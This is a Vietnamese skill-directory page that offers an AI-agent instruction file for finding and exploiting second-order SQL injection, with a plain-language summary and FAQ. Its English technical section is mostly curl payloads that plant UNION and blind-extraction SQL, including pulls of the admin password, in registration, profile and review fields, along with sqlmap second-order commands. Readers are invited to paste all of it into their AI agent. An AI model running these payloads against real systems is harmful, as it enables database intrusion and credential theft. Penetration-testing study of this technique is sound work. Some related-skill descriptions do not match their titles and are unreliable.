performing-second-order-sql-injection
Skill này làm gì
Công cụ này giúp tìm và khai thác một lỗ hổng bảo mật gọi là “second-order SQL injection”. Lỗ hổng xảy ra khi dữ liệu độc hại được lưu trong cơ sở dữ liệu và sau đó được dùng không an toàn ở một phần khác của hệ thống.
Khi nào nên dùng
- ✓Khi các kiểm tra bảo mật đơn giản không tìm thấy lỗi, nhưng bạn nghi ngờ có vấn đề phức tạp hơn.
- ✓Khi kiểm thử các hệ thống lưu thông tin do người dùng gửi, như bình luận hoặc hồ sơ.
- ✓Khi làm việc với các quy trình nhiều bước mà dữ liệu đã lưu được dùng trong truy vấn về sau.
Liên kết skill
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-second-order-sql-injection/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Tìm lỗ hổng second-order SQL injection trong hệ thống bình luận.”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Trước tiên, chúng ta xác định nơi hệ thống lưu thông tin (như khi đăng ký) và nơi nó dùng thông tin đó về sau (như trong báo cáo). Sau đó, chúng ta chèn mã độc vào điểm lưu trữ và kích hoạt điểm kích hoạt để xem mã có được thực thi không an toàn hay không.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Performing Second-Order SQL Injection
When to Use
- When first-order SQL injection testing reveals proper input sanitization at storage time
- During penetration testing of applications with user-generated content stored in databases
- When testing multi-step workflows where stored data feeds subsequent database queries
- During assessment of admin panels that display or process user-submitted data
- When evaluating stored procedure execution paths that use previously stored data
Prerequisites
- Burp Suite Professional for request tracking across application flows
- SQLMap with second-order injection support (--second-url flag)
- Understanding of SQL injection fundamentals and blind extraction techniques
- Two or more application functions (one for storing data, another for triggering execution)
- Database error message monitoring or blind technique knowledge
- Multiple user accounts for testing stored data across different contexts
Workflow
Step 1 — Identify Storage and Trigger Points
# Map the application to identify:
# 1. STORAGE POINTS: Where user input is saved to database
# - User registration (username, email, address)
# - Profile update forms
# - Comment/review submission
# - File upload metadata
# - Order/booking details
# 2. TRIGGER POINTS: Where stored data is used in queries
# - Admin panels displaying user data
# - Report generation
# - Search functionality using stored preferences
# - Password reset using stored email
# - Export/download features
# Register a user with SQL injection in the username
curl -X POST http://target.com/register \
-d "username=admin'--&password=test123&email=test@test.com"
Step 2 — Inject Payloads via Storage Points
# Store SQL injection payload in username during registration
curl -X POST http://target.com/register \
-d "username=test' OR '1'='1'--&password=Test1234&email=test@test.com"
# Store injection in profile fields
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"
# Store injection in address field
curl -X POST http://target.com/api/address \
-H "Cookie: session=AUTH_TOKEN" \
-d "address=123 Main St' OR 1=1--&city=Test&zip=12345"
# Store injection in comment/review
curl -X POST http://target.com/api/review \
-H "Cookie: session=AUTH_TOKEN" \
-d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"
Step 3 — Trigger Execution of Stored Payloads
# Trigger via password change (uses stored username)
curl -X POST http://target.com/change-password \
-H "Cookie: session=AUTH_TOKEN" \
-d "old_password=Test1234&new_password=NewPass123"
# Trigger via admin user listing
curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users
# Trigger via data export
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data
# Trigger via search using stored preferences
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations
# Trigger via report generation
curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity"
Step 4 — Use SQLMap for Second-Order Injection
# SQLMap with --second-url for second-order injection
# Store payload at registration, trigger at profile page
sqlmap -u "http://target.com/register" \
--data="username=*&password=test&email=test@test.com" \
--second-url="http://target.com/profile" \
--cookie="session=AUTH_TOKEN" \
--batch --dbs
# Use --second-req for complex trigger requests
sqlmap -u "http://target.com/api/update-profile" \
--data="display_name=*" \
--second-req=trigger_request.txt \
--cookie="session=AUTH_TOKEN" \
--batch --tables
# Content of trigger_request.txt:
# GET /admin/users HTTP/1.1
# Host: target.com
# Cookie: session=ADMIN_TOKEN
Step 5 — Blind Second-Order Extraction
# Boolean-based blind: Check if stored payload causes different behavior
# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"
# Trigger and observe response difference
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile
# Time-based blind second-order
…
Câu hỏi thường gặp
“Second-order SQL injection” là gì?
Đó là khi mã độc được lưu trong cơ sở dữ liệu và chỉ được thực thi sau này, vào một thời điểm khác, khi hệ thống dùng dữ liệu đã lưu theo cách không an toàn.
Tôi có cần phần mềm đặc biệt để dùng không?
Có, bạn cần các công cụ như Burp Suite và SQLMap, cùng hiểu biết về cách tấn công SQL injection hoạt động.
“Điểm lưu trữ” và “điểm kích hoạt” là gì?
Điểm lưu trữ là nơi bạn nhập dữ liệu (ví dụ biểu mẫu đăng ký). Điểm kích hoạt là nơi dữ liệu đó được dùng về sau (ví dụ hiển thị hồ sơ).
Chi tiết
Mô tả gốc của tác giả
Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation.
Độ phổ biến
- Sao GitHub
- 35k
- Vị trí xếp hạng
- #8301
- Giấy phép
- Apache-2.0
- Cập nhật
- 31/8/2026
Bình luận
- …
Thêm skill từ kho mã này
abusing-dpapi-for-credential-access
35kCung cấp cho agent AI của bạn hướng dẫn có sẵn cho một tác vụ cụ thể, giúp nó làm việc tốt hơn và nhanh hơn.
abusing-shadow-credentials-for-privesc
35kDạy agent AI của bạn viết văn bản rõ ràng và có cấu trúc tốt.
achieving-cmmc-level-2-compliance
35kGiúp agent của bạn chuẩn bị môi trường để tuân thủ CMMC Level 2. Triển khai các yêu cầu bảo mật và quản lý tài liệu cần thiết.
acquiring-disk-image-with-dd-and-dcfldd
35kGiúp agent của bạn tạo bản sao chính xác của ổ đĩa. Cách này đảm bảo không mất hay thay đổi thông tin trong quá trình điều tra.
Skill tương tự
discrawl
394kCho phép agent của bạn tìm kiếm và tóm tắt kho lưu trữ tin nhắn Discord trên máy, kiểm tra độ mới của dữ liệu và đọc tin nhắn trực tiếp.
clickhouse-io
280kGiúp agent của bạn tối ưu truy vấn và schema trong ClickHouse theo thực hành tốt nhất cho phân tích dữ liệu hiệu năng cao khi truy vấn chậm.
scientific-db-pubmed-database
280kGiúp agent của bạn tìm bài báo khoa học trong lĩnh vực y sinh. Hữu ích cho nghiên cứu cần thông tin y khoa cụ thể.